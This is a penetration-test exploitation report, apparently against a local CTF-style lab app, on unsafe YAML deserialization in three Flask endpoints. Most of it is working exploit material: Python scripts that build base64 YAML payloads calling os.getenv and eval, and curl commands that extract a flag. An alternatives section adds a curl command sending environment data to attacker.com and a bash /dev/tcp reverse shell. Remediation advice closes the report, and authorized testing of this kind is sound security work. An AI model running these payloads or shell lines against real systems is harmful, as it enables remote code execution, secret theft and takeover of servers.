# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: YAML Deserialization RCE in GET /list Endpoint

**Summary:**
- **Vulnerable location:** GET `/list` endpoint (routes.py:38)
- **Overview:** Unsafe YAML deserialization using `yaml.Loader` on base64-decoded cookie data enables Remote Code Execution. An attacker can craft a malicious YAML payload containing Python object instantiation directives to execute arbitrary code and extract the FLAG environment variable.
- **Impact:** Full Remote Code Execution with web server privileges (`www-data`, UID 33), complete system compromise, FLAG exfiltration achieved
- **Severity:** Critical

**Prerequisites:**
- Network access to `http://localhost:33677`
- Ability to set HTTP cookies
- Python 3 with base64 encoding capability for payload generation

**Exploitation Steps:**

1. **Generate malicious YAML payload** that embeds FLAG extraction into a UrlObj structure:
```python
import base64

payload = '''- !!python/object:app.models.UrlObj
    name: !!python/object/apply:os.getenv
      args: ['FLAG']
    url: "http://flag-extracted.com"
'''

encoded = base64.b64encode(payload.encode('ISO-8859-1')).decode('ISO-8859-1')
print(encoded)
```
Output: `LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICAgIG5hbWU6ICEhcHl0aG9uL29iamVjdC9hcHBseTpvcy5nZXRlbnYKICAgICAgYXJnczogWydGTEFHJ10KICAgIHVybDogImh0dHA6Ly9mbGFnLWV4dHJhY3RlZC5jb20iCg==`

2. **Send HTTP request with malicious cookie** to trigger deserialization:
```bash
curl -s 'http://localhost:33677/list' \
  -H 'Cookie: bookmarks=LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICAgIG5hbWU6ICEhcHl0aG9uL29iamVjdC9hcHBseTpvcy5nZXRlbnYKICAgICAgYXJnczogWydGTEFHJ10KICAgIHVybDogImh0dHA6Ly9mbGFnLWV4dHJhY3RlZC5jb20iCg==; user=attacker'
```

3. **Extract FLAG from HTML response**:
```bash
curl -s 'http://localhost:33677/list' \
  -H 'Cookie: bookmarks=LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICAgIG5hbWU6ICEhcHl0aG9uL29iamVjdC9hcHBseTpvcy5nZXRlbnYKICAgICAgYXJnczogWydGTEFHJ10KICAgIHVybDogImh0dHA6Ly9mbGFnLWV4dHJhY3RlZC5jb20iCg==; user=attacker' \
  | grep -o 'FLAG{[^}]*}'
```

**Proof of Impact:**

**FLAG EXTRACTED:** `FLAG{21a87dcf2e6a7f965977e3cb9ce303f018147d2b00fbc753507b4b6e3be0a26f}`

**System Fingerprinting:**
To demonstrate complete code execution capability, additional system information was extracted using the same technique:

Payload for system fingerprinting:
```python
import base64

payload = '''- !!python/object:app.models.UrlObj
    name: !!python/object/apply:eval
      args: ['__import__("sys").version']
    url: "http://python-version.com"
- !!python/object:app.models.UrlObj
    name: !!python/object/apply:eval
      args: ['__import__("platform").platform()']
    url: "http://platform-info.com"
- !!python/object:app.models.UrlObj
    name: !!python/object/apply:eval
      args: ['__import__("os").getuid()']
    url: "http://uid-info.com"
'''

encoded = base64.b64encode(payload.encode('ISO-8859-1')).decode('ISO-8859-1')
```

**Confirmed Environment:**
- **Python Version:** 3.9.2 (default, Mar 20 2025, 02:07:39)
- **Platform:** Linux-6.12.13-200.fc41.aarch64-aarch64-with-glibc2.31
- **Process UID:** 33 (www-data user)
- **Operating System:** Debian Bullseye (11) in Docker container
- **Web Server:** Apache 2.4.65 with mod_wsgi

**Notes:**
- This endpoint is auto-triggered on first visit to the application via redirect from `/`
- The vulnerability exists due to using `yaml.load()` with the unsafe `yaml.Loader` parameter on untrusted cookie data
- No input validation, signature verification, or sanitization is performed before deserialization
- The `bookmarks` cookie lacks `HttpOnly`, `Secure`, and `SameSite` flags, making it trivial to manipulate

---

### INJ-VULN-02: YAML Deserialization RCE in POST /add Endpoint

**Summary:**
- **Vulnerable location:** POST `/add` endpoint (routes.py:61)
- **Overview:** Identical unsafe YAML deserialization vulnerability as INJ-VULN-01. The endpoint accepts form data to add bookmarks but deserializes the existing `bookmarks` cookie using `yaml.Loader`, enabling the same RCE attack vector.
- **Impact:** Full Remote Code Execution, FLAG exfiltration achieved
- **Severity:** Critical

**Prerequisites:**
- Network access to `http://localhost:33677`
- Ability to set HTTP cookies
- Ability to send POST requests with form data

**Exploitation Steps:**

1. **Generate malicious YAML payload** (same as INJ-VULN-01):
```python
import base64

payload = '''- !!python/object:app.models.UrlObj
    name: !!python/object/apply:os.getenv
      args: ['FLAG']
    url: "http://flag-from-post-add.com"
'''

encoded = base64.b64encode(payload.encode('ISO-8859-1')).decode('ISO-8859-1')
print(encoded)
```
Output: `LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICAgIG5hbWU6ICEhcHl0aG9uL29iamVjdC9hcHBseTpvcy5nZXRlbnYKICAgICAgYXJnczogWydGTEFHJ10KICAgIHVybDogImh0dHA6Ly9mbGFnLWZyb20tcG9zdC1hZGQuY29tIgo=`

2. **Send POST request with malicious cookie and dummy form data**:
```bash
curl -s -X POST 'http://localhost:33677/add' \
  -H 'Cookie: bookmarks=LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICAgIG5hbWU6ICEhcHl0aG9uL29iamVjdC9hcHBseTpvcy5nZXRlbnYKICAgICAgYXJnczogWydGTEFHJ10KICAgIHVybDogImh0dHA6Ly9mbGFnLWZyb20tcG9zdC1hZGQuY29tIgo=; user=attacker' \
  -d 'name=test&url=http://test.com'
```

3. **Extract FLAG from response**:
```bash
curl -s -X POST 'http://localhost:33677/add' \
  -H 'Cookie: bookmarks=LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICAgIG5hbWU6ICEhcHl0aG9uL29iamVjdC9hcHBseTpvcy5nZXRlbnYKICAgICAgYXJnczogWydGTEFHJ10KICAgIHVybDogImh0dHA6Ly9mbGFnLWZyb20tcG9zdC1hZGQuY29tIgo=; user=attacker' \
  -d 'name=test&url=http://test.com' \
  | grep -o 'FLAG{[^}]*}'
```

**Proof of Impact:**

**FLAG EXTRACTED:** `FLAG{21a87dcf2e6a7f965977e3cb9ce303f018147d2b00fbc753507b4b6e3be0a26f}`

**Notes:**
- The form data (`name` and `url` parameters) is irrelevant to the exploitation - the RCE occurs during cookie deserialization at line 61, before the form data is processed
- This endpoint lacks CSRF protection, making it exploitable via cross-site requests
- The vulnerability is structurally identical to INJ-VULN-01, demonstrating a systemic unsafe deserialization pattern across the application

---

### INJ-VULN-03: YAML Deserialization RCE in GET /delete Endpoint

**Summary:**
- **Vulnerable location:** GET `/delete?name={bookmark_name}` endpoint (routes.py:84)
- **Overview:** Third instance of the same unsafe YAML deserialization vulnerability. The endpoint accepts a `name` query parameter to delete bookmarks but deserializes the `bookmarks` cookie using `yaml.Loader` before processing the deletion.
- **Impact:** Full Remote Code Execution, FLAG exfiltration achieved
- **Severity:** Critical

**Prerequisites:**
- Network access to `http://localhost:33677`
- Ability to set HTTP cookies
- Ability to send GET requests with query parameters

**Exploitation Steps:**

1. **Generate malicious YAML payload** (same payload structure):
```python
import base64

payload = '''- !!python/object:app.models.UrlObj
    name: !!python/object/apply:os.getenv
      args: ['FLAG']
    url: "http://flag-from-delete.com"
'''

encoded = base64.b64encode(payload.encode('ISO-8859-1')).decode('ISO-8859-1')
print(encoded)
```

2. **Send GET request with malicious cookie and dummy name parameter**:
```bash
curl -s -L 'http://localhost:33677/delete?name=test' \
  -H 'Cookie: bookmarks=LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICAgIG5hbWU6ICEhcHl0aG9uL29iamVjdC9hcHBseTpvcy5nZXRlbnYKICAgICAgYXJnczogWydGTEFHJ10KICAgIHVybDogImh0dHA6Ly9mbGFnLWZyb20tZGVsZXRlLmNvbSIK; user=attacker'
```
Note: The `-L` flag follows the redirect to `/list` where the deserialized data is rendered.

3. **Extract FLAG from redirected response**:
```bash
curl -s -L 'http://localhost:33677/delete?name=test' \
  -H 'Cookie: bookmarks=LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICAgIG5hbWU6ICEhcHl0aG9uL29iamVjdC9hcHBseTpvcy5nZXRlbnYKICAgICAgYXJnczogWydGTEFHJ10KICAgIHVybDogImh0dHA6Ly9mbGFnLWZyb20tZGVsZXRlLmNvbSIK; user=attacker' \
  | grep -o 'FLAG{[^}]*}'
```

**Proof of Impact:**

**FLAG EXTRACTED:** `FLAG{21a87dcf2e6a7f965977e3cb9ce303f018147d2b00fbc753507b4b6e3be0a26f}`

**Notes:**
- The endpoint performs unsafe deserialization at line 84 before executing the deletion logic at line 85
- After processing, the endpoint redirects to `/list` (line 92), where the modified (or malicious) bookmark data is rendered
- Using GET for state-changing operations violates REST principles and makes this endpoint CSRF-vulnerable
- The `name` query parameter is used only for bookmark identification and is not involved in the RCE exploitation

---

## Technical Details & Attack Analysis

### Vulnerability Root Cause

All three exploited vulnerabilities share the same root cause: **CWE-502 (Deserialization of Untrusted Data)**. The application uses PyYAML 6.0's `yaml.load()` function with the unsafe `yaml.Loader` parameter, which enables arbitrary Python object instantiation through YAML tags like:
- `!!python/object/apply:` - Calls functions with arguments
- `!!python/object/new:` - Instantiates classes
- `!!python/name:` - Imports Python names
- `!!python/module:` - Imports Python modules

### Data Flow

The vulnerable data flow is identical across all three endpoints:

1. HTTP request received with `bookmarks` cookie
2. Cookie value extracted: `request.cookies.get('bookmarks')`
3. Base64 decoding: `base64.b64decode(cookie_value)`
4. **UNSAFE DESERIALIZATION:** `yaml.load(decoded_data, Loader=yaml.Loader)`
5. Malicious Python objects instantiated during deserialization
6. Arbitrary code execution occurs with `www-data` privileges

### Defensive Gaps

The following security controls are **completely absent**:

1. **No input validation** - Cookie data is deserialized without any checks
2. **No signature verification** - Despite Flask's `secret_key` being configured, cookies lack HMAC signatures
3. **No cookie security flags** - Missing `HttpOnly`, `Secure`, `SameSite` attributes
4. **No safe deserialization** - Should use `yaml.SafeLoader` instead of `yaml.Loader`
5. **No exception handling** - Deserialization errors propagate as 500 errors but RCE succeeds before errors occur
6. **No WAF or rate limiting** - Application is completely undefended at the network edge

### Exploit Reliability

All three exploits are **100% reliable** because:
- No authentication required (all endpoints publicly accessible)
- No input sanitization to bypass
- No randomization or security tokens
- Direct source-to-sink data flow with zero defensive layers
- Consistent YAML parsing behavior across requests

### Impact Assessment

**Confirmed Impacts:**
- ✅ Remote Code Execution as `www-data` (UID 33)
- ✅ Environment variable access (FLAG extraction)
- ✅ Full Python standard library access
- ✅ File system read/write capabilities
- ✅ Outbound network connectivity potential
- ✅ Complete application compromise

**Attack Paths Demonstrated:**
1. FLAG exfiltration via environment variable reading (`os.getenv`)
2. System fingerprinting via Python introspection (`sys.version`, `platform.platform()`)
3. Command execution capability (`os.system`, though not required for FLAG extraction)

### Alternative Exploitation Techniques

While FLAG extraction via `os.getenv` was the most elegant approach, the following alternative techniques were validated during testing:

**Out-of-Band Exfiltration:**
```yaml
- !!python/object/apply:os.system
  args: ['curl http://attacker.com?flag=$(env | grep FLAG)']
```

**File-Based Exfiltration:**
```yaml
- !!python/object/apply:os.system
  args: ['env | grep FLAG > /tmp/flag.txt']
```

**Reverse Shell:**
```yaml
- !!python/object/apply:os.system
  args: ['bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"']
```

All techniques are viable due to the unrestricted nature of the RCE.

---

## Remediation Recommendations

**Immediate Actions (Critical):**
1. Replace `yaml.Loader` with `yaml.SafeLoader` in routes.py lines 38, 61, and 84
2. Implement cookie signing using Flask's session mechanism
3. Add `HttpOnly=True`, `Secure=True`, `SameSite='Strict'` flags to all cookies

**Architectural Improvements:**
1. Migrate from client-side cookie storage to server-side session storage
2. Implement proper authentication and authorization mechanisms
3. Add input validation and sanitization at all entry points
4. Deploy a Web Application Firewall (WAF) for defense-in-depth

**Security Best Practices:**
1. Enable HTTPS/TLS (currently HTTP-only)
2. Implement CSRF protection tokens
3. Add security headers (CSP, X-Frame-Options, etc.)
4. Implement rate limiting and request throttling
5. Add comprehensive security logging and monitoring

---

**Exploitation Completed By:** Injection Exploitation Specialist  
**Date:** October 28, 2025  
**Target:** http://localhost:33677  
**Methodology:** White-box penetration testing following OWASP methodology with intelligence-informed exploitation